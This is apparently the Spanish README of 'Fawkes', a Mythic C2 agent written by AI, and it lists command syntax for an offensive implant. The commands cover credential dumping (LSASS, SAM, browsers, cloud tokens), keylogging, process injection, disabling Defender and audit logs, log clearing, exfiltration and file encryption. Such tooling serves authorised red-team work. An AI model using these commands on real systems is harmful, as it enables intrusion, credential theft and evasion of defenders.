
Fawkes es un agente C2 Mythic en Golang exclusivamente escrito por IA.
# Agente Fawkes para Mythic C2
<img src="https://raw.githubusercontent.com/galoryber/fawkes/HEAD/agent_icons/fawkes.svg" width="100" />
Fawkes es un agente de Mythic C2 creado completamente con prompts (vibe-coded). Comenzó como un "me pregunto" y se ha convertido en un objetivo. Mi objetivo es no escribir ni una sola línea de código para este agente, produciéndolo exclusivamente mediante un prompt.
Originalmente intenté escribir el agente yo mismo, pero después de clonar el contenedor de ejemplo, leer la documentación de mythic, ver los videos de la serie de desarrollo en YouTube y copiar código de otros agentes como Merlin o Freyja, decidí que simplemente no tenía tiempo para desarrollar mi propio agente. Sin embargo, un prompt, para eso tengo tiempo.
Fawkes es un agente basado en Golang con capacidades multiplataforma. Admite **Windows** (EXE, DLL y payloads shellcode), **Linux** (binarios ELF y bibliotecas compartidas) y **macOS** (binarios Mach-O para Intel y Apple Silicon). **213 comandos** en total: 113 multiplataforma, 82 solo Windows, 21 solo Unix, 11 solo Linux y 6 solo macOS (algunos comandos tienen implementaciones específicas de plataforma que comparten un nombre visible para el usuario, por ejemplo, screenshot). Admite enlace HTTP de salida y TCP peer-to-peer (P2P) para pivoteo interno.
## Instalación
Para instalar Fawkes, necesitarás tener Mythic instalado en una computadora remota. Puedes encontrar instrucciones de instalación para Mythic en la [página del proyecto Mythic](https://github.com/its-a-feature/Mythic/).
Desde el directorio de instalación de Mythic:```
./mythic-cli install github https://github.com/galoryber/fawkes
```
## Referencia rápida de comandosCommand | Sintaxis | Descripción
------- | ------ | -----------
acl-edit | `acl-edit -action read -server dc01 -target user` | Leer/modificar DACLs de objetos de Active Directory (añadir/eliminar ACEs, conceder DCSync, GenericAll, copia de seguridad/restauración). Multiplataforma (T1222.001, T1098, T1003.006).
adcs | `adcs -action <cas\|templates\|find\|request\|auto-exploit> -server <DC> -username <user@domain> -password <pass> [-ca_name <CA>] [-template <name>] [-alt_name <UPN>]` | Enumerar Servicios de Certificados de AD, encontrar plantillas vulnerables (ESC1-ESC4, ESC6 vía DCOM), solicitar certificados vía DCOM para explotación ESC1/ESC6, o auto-explotar (cadena buscar → parsear → solicitar). Multiplataforma (T1649).
ads | `ads -action <write\|read\|list\|delete> -file <path> [-stream <name>] [-data <content>] [-hex true]` | **(Solo Windows)** Gestionar flujos de datos alternativos de NTFS: escribir, leer, listar o eliminar flujos de datos ocultos. Soporta texto y binario codificado en hex. MITRE T1564.004.
amcache | `amcache -action <query\|search\|delete\|clear> [-name <pattern>] [-count <n>]` | Consultar y limpiar artefactos forenses de ejecución. Windows: Shimcache. Linux: recently-used.xbel, miniaturas, Tracker. macOS: elementos recientes, KnowledgeC, cuarentena (T1070.004).
apc-injection | `apc-injection [-method <apc\|hwbp>] -pid <PID> [-tid <TID>] [-target_api ntdll!NtDelayExecution] [-timeout_ms 30000]` | **(Solo Windows)** Inyección en procesos remotos. `-method apc` (por defecto) encola shellcode vía NtQueueApcThread en un hilo alertable (usa `ts` para encontrar uno). `-method hwbp` se adjunta vía DebugActiveProcess, establece un punto de interrupción de hardware DR0 en una API objetivo (por defecto `ntdll!NtDelayExecution`) y redirige Rip al shellcode cuando se dispara el punto de interrupción — no requiere TID, ni cola APC, ni CreateRemoteThread (T1055.004, T1055).
audio-capture | `audio-capture [-duration 10] [-sample_rate 16000] [-channels 1] [-device default]` | Grabar audio desde el micrófono y subir archivo WAV. Windows (waveIn), Linux (arecord/parecord), macOS (rec/ffmpeg). Multiplataforma (T1123).
auditpol | `auditpol -action <query\|disable\|enable\|stealth> [-category <name\|all>]` | **(Solo Windows)** Consultar y modificar políticas de auditoría de Windows. Deshabilitar el registro de eventos de seguridad antes de operaciones sensibles. El modo sigiloso deshabilita subcategorías críticas de detección. Usa la API AuditQuerySystemPolicy (T1562.002).
argue | `argue -command "cmd.exe /c whoami" -spoof "cmd.exe /c echo hello"` | **(Solo Windows)** Ejecutar un comando con argumentos de proceso falsificados. Derrota Sysmon Event ID 1 y telemetría de línea de comandos de EDR (T1564.010).
arp | `arp [-ip <subnet>]` o `arp -action spoof -target <IP> -gateway <IP>` | Mostrar tabla ARP con filtrado, o envenenamiento de caché ARP para posicionamiento MITM (T1557.002). Spoof: solo Linux, restaura en limpieza.
asrep-roast | `asrep-roast -server <DC> -username <user@domain> -password <pass> [-account <target>]` | Solicitar tickets AS-REP para cuentas sin preautenticación y extraer hashes en formato hashcat para descifrado offline. Auto-enumeración vía LDAP. Multiplataforma (T1558.004).
av-detect | `av-detect [-deep true]` | Detectar productos AV/EDR/seguridad instalados escaneando procesos en ejecución contra una base de firmas de más de 130. Con `--deep`, también revisa módulos del kernel, unidades systemd y directorios de configuración para productos instalados pero no en ejecución (Linux). Informa producto, proveedor, tipo y PID. Multiplataforma.
autopatch | `autopatch <dll_name> <function_name> <num_bytes>` | **(Solo Windows)** Parchear automáticamente una función saltando al return (C3) más cercano. Útil para evasiones de AMSI/ETW.
base64 | `base64 -action <encode\|decode\|xor\|hex\|hex-decode\|rot13\|url\|url-decode\|caesar> -input <data> [-key <key>] [-shift <N>] [-file true] [-output <path>]` | Kit de herramientas de codificación de datos: base64, XOR (con clave string/hex), hex, ROT13, codificación URL por porcentaje, cifrado César. Todos soportan E/S de archivos. Multiplataforma (T1132.001, T1140, T1027).
bits | `bits -action <list\|create\|persist\|cancel\|suspend\|resume\|complete> [-name <job>] [-url <URL>] [-path <local>] [-command <exe>]` | **(Solo Windows)** Gestionar trabajos de transferencia BITS para persistencia y descarga sigilosa de archivos. Crear, suspender, reanudar, completar trabajos y establecer comandos de notificación para persistencia. Los trabajos sobreviven reinicios (T1197).
browser | `browser [-action <passwords\|cookies\|history\|autofill\|bookmarks\|downloads>] [-browser <all\|chrome\|edge\|chromium\|firefox>]` | Cosechar datos del navegador de Chromium, Firefox y Safari. Historial, autocompletado, marcadores, descargas multiplataforma. Contraseñas: Chromium (DPAPI/Keychain/GNOME Keyring), Firefox (descifrado key4.db NSS), Safari (macOS Keychain). Cookies de Firefox en todas las plataformas. MITRE T1555.003, T1217.
cat | `cat <file>` o `cat -path <file> -start N -end N -number true` | Mostrar contenido de archivo con rango de líneas opcional, numeración y protección de tamaño máximo de 5MB.
cd | `cd <directory>` | Cambiar el directorio de trabajo actual.
chmod | `chmod -path <file> -mode <permissions> [-recursive true]` | Modificar permisos de archivo/directorio con notación octal (755, 644) o simbólica (+x, u+rw, go-w). Soporte recursivo. Multiplataforma (T1222).
chown | `chown -path <file> -owner <user> [-group <group>] [-recursive true]` | **(Solo Linux/macOS)** Cambiar propietario/grupo de archivo/directorio por nombre de usuario/UID y nombre de grupo/GID. Soporte recursivo (T1222).
cert-check | `cert-check -host <hostname> [-port 443] [-timeout 10]` | Inspeccionar certificados TLS en hosts remotos — identifica CAs, certificados autofirmados, caducidad, SANs, versión TLS, suites de cifrado y huellas SHA256. Multiplataforma (T1590.001).
certstore | `certstore -action <list\|find> [-store <MY\|ROOT\|CA\|Trust\|TrustedPeople>] [-filter <substring>]` | **(Solo Windows)** Enumerar almacenes de certificados de Windows para encontrar certificados de firma de código, certificados de autenticación de cliente y claves privadas. Busca en CurrentUser y LocalMachine. MITRE T1552.004, T1649.
clipboard | `clipboard -action <read\|write\|monitor\|dump\|stop> [-data "text"] [-interval 3]` | Leer/escribir portapapeles o monitorear continuamente cambios con detección de patrones de credenciales. Multiplataforma (T1115).
cloud-metadata | `cloud-metadata -action <detect\|creds\|storage\|aws-iam\|azure-graph\|gcp-iam\|aws-s3\|azure-blob\|gcp-gcs\|aws-persist\|azure-persist\|aws-ssm\|azure-keyvault\|gcp-secrets\|...> [-provider <auto\|aws\|azure\|gcp\|do>]` | Metadatos en la nube, extracción de credenciales, enumeración IAM, enumeración de almacenamiento, persistencia y acceso a almacenes de secretos. storage/aws-s3/azure-blob/gcp-gcs: enumerar buckets/contenedores con objetos de muestra. aws-ssm: SSM Parameter Store con descifrado. azure-keyvault: Key Vault secrets vía identidad administrada. gcp-secrets: Secret Manager vía cuenta de servicio. aws-persist/azure-persist: crear claves de acceso/registros de aplicación de larga duración. Auto-detección. IMDSv2. Multiplataforma (T1552.005, T1580, T1530, T1098.001).
compress | `compress -action <create\|list\|extract\|stage\|exfil\|stage-exfil\|exfil-https\|exfil-github> -path <path> [-format zip\|tar.gz] [-output <out>] [-pattern *.txt] [-cleanup true]` | Crear, listar, extraer, almacenar o exfiltrar archivos. Store cifra con AES-256-GCM. Exfil transfiere a Mythic. exfil-https: subir a URLs prefirmadas S3/Azure/GCS con subidas fragmentadas, cabeceras personalizadas, jitter. exfil-github: exfiltrar vía GitHub Contents API. Multiplataforma (T1560.001, T1074.001, T1041, T1048, T1567, T1567.001).
coerce | `coerce -server <target> -listener <attacker-ip> [-method petitpotam\|printerbug\|shadowcoerce\|all] -username <user> [-password <pass>] [-hash <NT hash>] [-domain <domain>]` | Coerción de autenticación NTLM vía MS-EFSR (PetitPotam), MS-RPRN (PrinterBug), MS-FSRVP (ShadowCoerce). Fuerza al objetivo a autenticarse en el listener atacante. Soporte pass-the-hash. Multiplataforma (T1187).
config | `config [-action show\|set\|update] [-key sleep\|jitter\|killdate\|working_hours_start\|working_hours_end\|working_days] [-value <val>] [-file <binary>] [-hash <sha256>]` | Ver o modificar la configuración del agente en tiempo de ejecución, o auto-actualizar el binario del agente. `show`/`set`: sleep, jitter, fecha de muerte, horario laboral. `update`: descargar nuevo payload desde Mythic, verificar, lanzar y salir del agente actual. Multiplataforma (T1105).
container-detect | `container-detect` | Detectar entorno y tiempo de ejecución de contenedor (Docker, K8s, LXC, Podman, WSL). Verifica vectores de escape como sockets Docker y cuentas de servicio de K8s. Multiplataforma (T1082, T1497.001).
container-escape | `container-escape -action <check\|docker-sock\|cgroup\|nsenter\|mount-host\|k8s-enum\|k8s-secrets\|k8s-rbac\|k8s-nodes\|k8s-etcd\|k8s-deploy\|k8s-exec> [-command '<cmd>'] [-path <ns>\|<ns1,ns2,...>\|*] [-kubeconfig /path/to/config]` | **(Solo Linux)** Escape de contenedor + operaciones K8s — socket Docker, cgroup, nsenter, montaje de dispositivo host. K8s: enumerar pods/servicios, leer secretos, **k8s-rbac**: barrido de ClusterRole/RoleBinding + puntuación de vías de escalada de privilegios (crit/warn/info), **k8s-nodes**: superficie de ataque de nodo del clúster (kubelet/OS/kernel/CIDR/taints/roles), **k8s-etcd**: descubrir endpoints de cliente etcd desde args de pod plano de control + sonda `/version` no autenticada por endpoint (lectura no auth = compromiso completo del clúster), desplegar/ejecutar pods vía API. **Fuera del clúster**: `-kubeconfig` acepta archivos kubeconfig robados para acceso K8s desde hosts no contenedores (auth token + certificado de cliente) (T1611, T1610, T1613, T1552.007, T1069.003, T1087.004).
cp | `cp <source> <destination>` | Copiar un archivo de origen a destino.
cred-check | `cred-check [-action check\|verify-all] -hosts <IPs/CIDRs> -username <DOMAIN\user> -password <pass> [-hash <NTLM>] [-timeout <seconds>]` | Probar credenciales contra SMB, WinRM y LDAP en hosts objetivo. `verify-all` prueba todas las credenciales del almacén contra los hosts descubiertos en paralelo. Multiplataforma (T1110.001, T1078).
cred-harvest | `cred-harvest -action <shadow\|cloud\|configs\|history\|windows\|m365-tokens\|browser-live\|all\|dump-all> [-user <username>]` | Cosechar credenciales: shadow hashes (Unix), configuraciones cloud (AWS/GCP/Azure/K8s), secretos de aplicaciones, escaneo de historial de shell en busca de contraseñas/tokens/claves API filtradas, historial de PowerShell + variables de entorno + RDP (Windows), tokens M365 OAuth/JWT de TokenBroker/Teams/Outlook (Windows), **browser-live**: robar cookies activas, localStorage, sessionStorage vía Chrome DevTools Protocol (CDP) desde Chrome/Edge en ejecución. **dump-all**: cadena de subtareas automatizada — ejecuta hashdump + lsa-secrets + cred-harvest todo en paralelo (Windows). Multiplataforma (T1552, T1003.008, T1528, T1539).
credential-prompt | `credential-prompt [-action dialog\|device-code\|mfa-phish] [-title "Authentication Required"] [-message "Enter your credentials..."] [-icon caution]` | Mostrar diálogo de credenciales nativo, abusar del flujo de código de dispositivo OAuth o suplantar códigos MFA. dialog: macOS AppleScript, Windows CredUI, Linux zenity/kdialog. device-code: flujo de código de dispositivo Azure AD OAuth para captura de tokens. mfa-phish: diálogo de verificación MFA falso para capturar códigos TOTP. Multiplataforma (T1056.002, T1621, T1111).
curl | `curl -url <URL> [-method GET\|PUT\|POST] [-file <path>] [-upload raw\|multipart] [-headers '{"K":"V"}'] [-body <data>]` | Solicitudes HTTP + exfiltración de subida de archivos (T1567). Subir a URLs prefirmadas S3, Azure SAS, endpoints genéricos. Multiplataforma (T1106, T1567.002).
cut | `cut -path <file> -delimiter <char> -fields <1,3\|1-3\|2-> [-chars <1-10>]` | Extraer campos o rangos de caracteres de líneas de archivo. Delimitadores personalizados, especificaciones de rango. Multiplataforma (T1083).
credman | `credman [-action <list\|dump\|vault>] [-filter <pattern>]` | Enumerar almacenes de credenciales de la plataforma. Windows: Credential Manager + Vault (CredEnumerateW, vaultcli.dll). Linux: GNOME Keyring (secret-tool), KDE KWallet, contraseñas WiFi/VPN de NetworkManager, GNOME Online Accounts. macOS: elementos de Keychain (contraseñas genéricas + de internet), contraseñas WiFi. `list`=metadatos, `dump`=con secretos, `vault`=solo Windows. MITRE T1555.004, T1555.001.
defender | `defender -action <status\|exclusions\|add-exclusion\|remove-exclusion\|threats\|enable\|disable> [-type <path\|process\|extension>] [-value <val>]` | **(Solo Windows)** Gestionar Defender — estado, exclusiones, amenazas, habilitar/deshabilitar protección en tiempo real. MITRE T1562.001.
dpapi | `dpapi -action <decrypt\|masterkeys\|chrome-key> [-blob <base64>] [-entropy <base64>]` | **(Solo Windows)** Descifrado de blob DPAPI (CryptUnprotectData), enumeración de claves maestras, extracción de clave de cifrado de Chrome/Edge. MITRE T1555.003/T1555.005.
email | `email -action <count\|search\|read\|folders> [-folder <name>] [-query <keyword>] [-index <n>]` | **(Solo Windows)** Acceder al buzón de Outlook vía COM. Contar mensajes, buscar por palabra clave, leer por índice, listar carpetas. MITRE T1114.001.
dcom | `dcom -action <exec\|upload\|exec-staged\|check> -host <target> -command <cmd> [-args <arguments>] [-object mmc20\|shellwindows\|shellbrowser\|wscript\|excel\|outlook]` | **(Solo Windows)** Ejecutar comandos, subir archivos o almacenar y ejecutar en hosts remotos vía DCOM. `check` valida requisitos previos RPC/DCOM. upload: transferir archivos vía staging certutil/PowerShell. exec-staged: subir luego ejecutar con auto-limpieza. Seis objetos COM. MITRE T1021.003, T1570.
debug-detect | `debug-detect` | Detectar depuradores adjuntos, herramientas de análisis e instrumentación. Windows: IsDebuggerPresent, NtQueryInformationProcess, PEB, registros DR. Linux: TracerPid, LD_PRELOAD, mapas de memoria (Frida/Valgrind/sanitizers), VM/sandbox, monitoreo eBPF (Falco/Tetragon/Tracee), framework auditd, alcance ptrace. macOS: sysctl P_TRACED, DYLD_INSERT_LIBRARIES, detección de VM (sysctl), productos de seguridad (EDR/AV), sandbox/entorno de análisis. Todos: escaneo de procesos depuradores (T1497.001).
dcsync | `dcsync [-action sync\|domain-takeover] -server <DC> -username <user> [-password <pass>] [-hash <NT hash>] [-target <account[,account2]>]` | DCSync — replicar credenciales de AD vía DRS sin tocar LSASS. `domain-takeover` ejecuta kerberoast + asrep-roast + dcsync krbtgt/Administrator en paralelo. Multiplataforma (T1003.006).
df | `df [-filesystem <device>] [-mount_point <path>] [-fstype <type>]` | Informar del uso de espacio en disco del sistema de archivos con filtrado opcional de dispositivo, punto de montaje o fstype. Multiplataforma (T1082).
diff | `diff -file1 <path> -file2 <path> [-context <n>]` | Comparar dos archivos y mostrar diferencias en formato diff unificado. Algoritmo basado en LCS con líneas de contexto configurables. Multiplataforma (T1083).
dns | `dns -action <resolve\|reverse\|srv\|mx\|ns\|txt\|cname\|all\|dc\|zone-transfer\|wildcard\|exfil\|doh> -target <host> [-server <dns_ip>]` | Enumeración DNS — resolver hosts, consultar registros, descubrir DCs, transferencias de zona, detección de wildcard, resolución sigilosa DNS-over-HTTPS, exfiltración DNS. Multiplataforma (T1018, T1071.004, T1048.001).
du | `du -path <file_or_dir> [-max_depth <n>]` | Informar del uso de disco para archivos y directorios. Desglose de tamaño por subdirectorio, ordenado por el más grande. Multiplataforma (T1083).
drivers | `drivers [-filter <name>]` | Enumerar controladores/módulos del kernel cargados. Windows: EnumDeviceDrivers, Linux: /proc/modules, macOS: enumeración kext. Multiplataforma (T1082).
domain-policy | `domain-policy -action <all\|password\|lockout\|fgpp> -server <DC> -username <user@domain> -password <pass>` | Política de contraseñas/bloqueo de AD y enumeración FGPP vía LDAP. Recomendaciones seguras contra spray. Multiplataforma (T1201).
crontab | `crontab -action <list\|add\|remove> [-entry <cron_line>] [-program <path>] [-schedule <schedule>]` | **(Solo Linux/macOS)** Listar, añadir o eliminar trabajos cron para persistencia. Soporta entradas cron sin procesar o sintaxis de programa+horario.
download | `download <path>` o `download {"path": "/file", "compress": true}` | Descargar un archivo o directorio del objetivo. Archivos >1MB se comprimen automáticamente con gzip (configurable). Directorios se comprimen en zip automáticamente. Verificación de hash SHA256. Transferencia fragmentada, integración con navegador de archivos.
drives | `drives` | Listar unidades/volúmenes disponibles y sistemas de archivos montados con tipo, etiqueta/dispositivo y espacio libre/total.
enum-tokens | `enum-tokens [-action list\|unique] [-user <filter>]` | **(Solo Windows)** Enumerar tokens de acceso en todos los procesos. `list` muestra PID/usuario/integridad/sesión para cada proceso. `unique` agrupa por usuario con recuentos de procesos. Auto-habilita SeDebugPrivilege (T1134, T1057).
encrypt | `encrypt -action <encrypt\|decrypt\|encrypt-files\|decrypt-files\|corrupt\|corrupt-files> -path <file_or_glob> [-key <base64key>] [-confirm SIMULATE\|CORRUPT]` | Cifrado/descifrado AES-256-GCM (T1486) + corrupción dirigida de archivos (T1565). corrupt: sobrescribir cabeceras de archivo con datos aleatorios. Se requieren compuertas de seguridad para operaciones destructivas.
env | `env [-action <list\|get\|set\|unset>] [-name <VAR>] [-value <val>] [-filter <pattern>]` | Listar, obtener, establecer o eliminar variables de entorno para el proceso del agente. Los cambios son heredados por procesos hijos. Multiplataforma.
env-scan | `env-scan [-pid <PID>] [-filter <pattern>]` | Escanear variables de entorno de procesos en busca de credenciales filtradas, claves API y secretos. Más de 35 patrones de detección en categorías de cloud, base de datos, CI/CD y cripto. Linux + macOS (T1057, T1552.001).
etw | `etw -action <sessions\|rules\|agents\|patch\|restore\|blind-all\|...> [-session_name <name>] [-provider <guid\|shorthand>]` | **(Windows, Linux, macOS)** Manipulación del subsistema de auditoría/telemetría. Windows: sesiones/proveedores ETW stop/blind/blind-all/enable/patch/restore. Linux: reglas auditd, journald clear/rotate, configuración syslog, detección de agentes SIEM. macOS: registro unificado, detección de agentes de seguridad. (T1562, T1070.002).
eventlog | `eventlog -action <list\|query\|clear\|info\|enable\|disable> [-channel <name\|unit\|subsystem\|path>] [-event_id <id>] [-filter <xpath\|keyword\|timewindow>] [-count <max>]` | Gestionar registros de eventos del sistema. Windows: canales wevtapi.dll. Linux: unidades journald y archivos syslog. macOS: subsistemas/procesos de Unified Logging (os_log). Listar fuentes, consultar eventos, limpiar/vacuar registros, obtener información. MITRE T1070.001, T1562.002.
execute-memory | `execute-memory -arguments 'arg1 arg2' -timeout 60` | Ejecutar un binario nativo desde memoria. Linux: memfd_create (sin escritura en disco). macOS: archivo temporal con ad-hoc codesign. Windows: archivo temporal con limpieza inmediata. Todas las plataformas eliminan artefactos tras la ejecución. MITRE T1620.
execute-shellcode | `execute-shellcode [-technique mmap\|memfd] [-encoding none\|xor\|aes] [-key hex]` | Ejecutar shellcode en el proceso actual. Soporta shellcode codificado con XOR/AES-256-CTR con descifrado en tiempo de ejecución (T1027). Windows: VirtualAlloc + CreateThread. Linux: mmap (por defecto) o memfd_create. macOS: MAP_JIT (ARM64) o mmap. Multiplataforma (T1059.006, T1620).
exit | `exit` | Indicar al agente que termine.
file-attr | `file-attr -path <file> [-attrs "+hidden,-readonly,+immutable"]` | Obtener o establecer atributos de archivo — oculto, solo lectura, sistema (Windows); inmutable, append, nodump (Linux); oculto, inmutable (macOS). Omitir -attrs para ver las banderas actuales. Multiplataforma (T1564.001, T1222).
file-type | `file-type -path <file_or_dir> [-recursive true] [-max_files 100]` | Identificar tipos de archivo por bytes mágicos (más de 35 firmas). Escaneo de un solo archivo o directorio. Detecta ejecutables, archivos, documentos, imágenes, bases de datos, medios y más. Multiplataforma (T1083).
find | `find -pattern <glob> [-path <dir>] [-min_size <bytes>] [-max_size <bytes>] [-newer <min>] [-older <min>] [-type f\|d] [-perm suid\|sgid\|writable\|executable\|<octal>] [-owner <user\|uid>]` | Buscar archivos por nombre, tamaño, fecha, permisos o propietario. Encontrar binarios SUID, archivos escribibles globalmente, archivos propiedad de usuarios específicos. Multiplataforma (T1083).
find-admin | `find-admin -hosts <targets> -username <user> -password <pass> [-method smb\|winrm\|both] [-hash <NT>] [-action scan\|auto-move] [-lateral_method psexec\|wmi] [-lateral_command <cmd>]` | Barrer hosts para descubrir dónde las credenciales tienen acceso de administrador vía SMB (recurso compartido C$) y/o WinRM. **auto-move**: cadena de subtareas automatizada — encontrar hosts admin luego moverse lateralmente a cada uno vía psexec/wmi. Soporta CIDR, rangos IP, PTH, escaneo paralelo (T1021.002, T1021.006).
firewall | `firewall -action <list\|add\|delete\|enable\|disable\|status\|pf-add\|pf-delete\|pf-list> [-name <rule>] [-direction <in\|out>] [-protocol <tcp\|udp\|any>] [-port <port>]` | **(Windows, macOS, Linux)** Gestionar reglas de cortafuegos. Windows: API COM. macOS: ALF + reglas ancladas pf. Linux: iptables/nftables (auto-detectado). Soporte de anclas PF para filtrado de paquetes en macOS. MITRE T1562.004.
getprivs | `getprivs -action list\|enable\|disable\|strip [-privilege <name>]` | **(Windows, macOS, Linux)** Listar privilegios/capacidades. Windows: privilegios de token con enable/disable/strip. Linux: capacidades de proceso (CapEff/CapPrm) + contexto SELinux/AppArmor. macOS: entitlements, sandbox, grupos (T1134.002).
getsystem | `getsystem [-technique steal\|potato\|check\|sudo\|osascript]` | **(Windows, Linux, macOS)** Escalada de privilegios. Windows: SYSTEM vía robo de token o DCOM potato. Linux: verificar vectores de escalada (SUID, sudo, capacidades, docker) o intentar elevación sudo. macOS: verificar vectores, sudo o solicitud administrativa osascript (T1134, T1548).
gpp-password | `gpp-password -server <DC> -username <user@domain> -password <pass>` | Buscar en SYSVOL archivos XML de GPP con atributos cpassword cifrados y descifrar usando la clave AES publicada (MS14-025). Multiplataforma vía SMB (T1552.006).
gpo | `gpo -action <list\|links\|find\|all> -server <DC> -username <user@domain> -password <pass> [-filter <name>]` | Enumerar Objetos de Política de Grupo vía LDAP — listar GPOs, mapear enlaces con aplicación, encontrar configuraciones CSE interesantes. Multiplataforma (T1615).
grep | `grep -pattern <regex> [-path <dir>] [-extensions .txt,.xml] [-ignore_case] [-max_results 100]` | Buscar contenidos de archivos con patrones regex. Búsqueda recursiva de directorios con filtrado de extensiones, líneas de contexto y omisión de archivos binarios. Multiplataforma (T1083, T1552.001).
hash | `hash -path <file_or_dir> [-algorithm md5\|sha1\|sha256\|sha512] [-recursive true] [-pattern *.exe] [-max_files 500]` | Calcular hashes de archivo (MD5, SHA-1, SHA-256, SHA-512). Archivos individuales o directorios con filtrado de patrón glob y control de profundidad. Multiplataforma (T1083).
hexdump | `hexdump -path <file> [-offset <bytes>] [-length <bytes>]` | Mostrar contenido de archivo en formato hex+ASCII estilo xxd. Control de offset/longitud para examinar regiones específicas, máximo 4096 bytes. Multiplataforma (T1005).
handles | `handles -pid <pid> [-type File] [-show_names] [-max_count 500]` | **(Windows, Linux, macOS)** Enumerar manejadores/descriptores de archivo abiertos en un proceso. Windows: NtQuerySystemInformation. Linux: /proc/pid/fd. macOS: lsof (T1057, T1082).
hashdump | `hashdump [-action dump\|insitu\|insitu-full\|tickets\|auto-spray] [-targets <hosts>] [-format json]` | **(Windows, Linux, macOS)** Extraer hashes de contraseñas de cuentas locales. Windows: hashes NTLM del registro SAM (requiere SYSTEM); **insitu**: enumerar sesiones de inicio de sesión activas vía APIs LSA en proceso (requiere admin); **insitu-full**: abrir lsass.exe con PROCESS_VM_READ, escanear firma de lsasrv.dll para LogonSessionList, recorrer la lista enlazada, superponer el diseño KIWI_MSV1_0_LIST_63 en cada nodo para analizar LUID/UserName/Domain/AuthPackage/LogonType/Credentials-pointer, recorrer la cadena de credenciales por paquete de autenticación en credentials_ptr para capturar cada envoltorio KIWI_MSV1_0_PRIMARY_CREDENTIAL_ENC, escanear firma de LsaInitializeProtectedMemory_Internal para recuperar los globales de clave BCrypt IV / h3DesKey / hAesKey más los bytes brutos de IV de 16 bytes / 3DES de 24 bytes / AES de 32 bytes, descifrar AES-256-CFB / 3DES-CBC cada blob de texto cifrado capturado (seleccionado por blob según `len % 8`), y superponer el diseño KIWI_MSV1_0_PRIMARY_CREDENTIAL_10_NEW para extraer hashes NT/LM/SHA — emitidos en formato `username:rid:lm:nt:::` compatible con el enlace del vault de credenciales del ProcessResponse de la acción dump (Fase 2B + 2C-i + 2C-ii-a + 2C-ii-b + 2C-ii-c, Win10 21H2 — Win11 23H2, requiere admin). Linux: hashes /etc/shadow con identificación de tipo de hash (requiere root). macOS: hashes PBKDF2 de Directory Services desde plists de usuario (requiere root). **auto-spray**: volcar hashes luego rociarlos automáticamente vía cred-check contra hosts objetivo. MITRE T1003.002, T1003.008.
history-scrub | `history-scrub [-action list\|clear\|clear-all] [-user <username>]` | Listar o limpiar archivos de historial de comandos de shell/aplicación. Cubre bash, zsh, fish, PowerShell, python, mysql y más. Multiplataforma (T1070.003).
hollow | `hollow -filename <shellcode> [-target <process>] [-ppid <pid>] [-block_dlls true]` | Vaciado de proceso — crear proceso suspendido, escribir shellcode, redirigir ejecución. **Windows:** CREATE_SUSPENDED + SetThreadContext, suplantación de PPID, bloqueo de DLL, decoración de PEB (enmascaramiento de ImagePath/CommandLine/WindowTitle). **Linux (amd64/arm64):** PTRACE_TRACEME + escritura /proc/mem. **macOS:** ptrace + APIs Mach VM (task_for_pid, mach_vm_allocate, mach_vm_write, mach_vm_protect) — requiere root. MITRE T1055.012, T1036.
ide-recon | `ide-recon -action <vscode\|jetbrains\|all> [-user <filter>]` | Enumerar configuraciones de IDE — extensiones de VS Code, hosts SSH remotos, proyectos recientes, configuraciones con secretos. Fuentes de datos de JetBrains, servidores de despliegue, proyectos recientes. Multiplataforma (T1005, T1083).
ifconfig | `ifconfig` | Listar interfaces de red con direcciones, MAC, MTU y banderas. Multiplataforma (Windows/Linux/macOS).
inline-assembly | `inline-assembly` | **(Solo Windows)** Ejecutar un ensamblado .NET en memoria usando CLR. Soporta argumentos de línea de comandos. Usar `start-clr` primero para flujo de parcheo AMSI.
inline-execute | `inline-execute` | **(Solo Windows)** Ejecutar un Beacon Object File (BOF/COFF) en memoria. Soporta todos los tipos de argumento: strings (z), wide strings (Z), enteros (i), shorts (s) y binarios (b).
reflective-load | `reflective-load -dll_b64 <base64_dll> [-function <export>]` | **(Solo Windows)** Cargar un PE nativo (DLL) desde memoria en el proceso actual. Mapeo manual de PE con copia de secciones, arreglos de reubicación, resolución de importaciones e invocación de DllMain. Opcionalmente llamar a funciones exportadas (T1620).
iptables | `iptables -action <status\|rules\|nat\|add\|delete\|flush> [-rule <args>] [-table <name>]` | **(Solo Linux)** Enumeración y gestión de cortafuegos Linux vía iptables/nftables/ufw. Reenvío de IP, seguimiento de conexiones, listado y modificación de reglas. MITRE T1562.004.
jobkill | `jobkill -id <task-uuid>` | Detener una tarea en ejecución por ID de tarea. Usar `jobs` para listar tareas en ejecución. Multiplataforma.
jobs | `jobs` | Listar tareas actualmente en ejecución con ID de tarea, nombre de comando y duración. Multiplataforma.
jxa | `jxa -code '<script>' [-timeout 60]` o `jxa -file /path/to/script.js` | **(Solo macOS)** Ejecutar scripts de JavaScript para Automatización (JXA) con acceso al puente ObjC a los frameworks Foundation, AppKit, Security. Soporta código en línea y entrada de archivo (T1059.007).
kerberoast | `kerberoast -server <DC> -username <user@domain> -password <pass> [-spn <SPN>]` | Solicitar tickets TGS para cuentas SPN y extraer hashes en formato hashcat para descifrado offline. Auto-enumeración vía LDAP. Multiplataforma (T1558.003).
klist | `klist -action <list\|purge\|dump\|import> [-server <filter>] [-ticket <base64>] [-path <path>]` | Enumerar, volcar, purgar e importar tickets Kerberos. Importar habilita Pass-the-Ticket: Windows inyecta kirbi vía LSA, Linux/macOS escribe ccache y establece KRB5CCNAME. Multiplataforma (T1558, T1550.003).
keychain | `keychain -action <list\|dump\|find-password\|find-internet\|find-cert> [-service <name>] [-server <host>]` | **(Solo macOS)** Acceder al Llavero de macOS — listar llaveros, volcar metadatos, encontrar contraseñas genéricas/de internet, enumerar certificados.
kerb-delegation | `kerb-delegation -action <all\|unconstrained\|constrained\|rbcd\|monitor> -server <DC> -username <user@domain> -password <pass> [-duration <s>] [-interval <s>]` | Enumerar relaciones de delegación Kerberos — no restringida, restringida (con transición de protocolo), RBCD. **monitor** action (Windows/SYSTEM only) polls LSA for incoming TGTs and exports as kirbi blobs. Multiplataforma excepto monitor (T1550.003, T1558).
keylog | `keylog -action <start\|stop\|dump\|status\|clear>` | Registrador de teclas de bajo nivel. Windows: SetWindowsHookEx. Linux: /dev/input evdev. macOS: IOKit HID. Detecta eventos de pegado Ctrl+V/Cmd+V y captura contenido del portapapeles. Seguimiento del contexto de la ventana en todas las plataformas (T1056.001).
lateral-check | `lateral-check -hosts <IPs/CIDRs> [-timeout <seconds>]` | Probar opciones de movimiento lateral contra objetivos — verifica conectividad SMB, WinRM, RDP, RPC, SSH y sugiere métodos aplicables. Multiplataforma (T1046, T1021).
```
---
[Read more](https://github.com/galoryber/fawkes)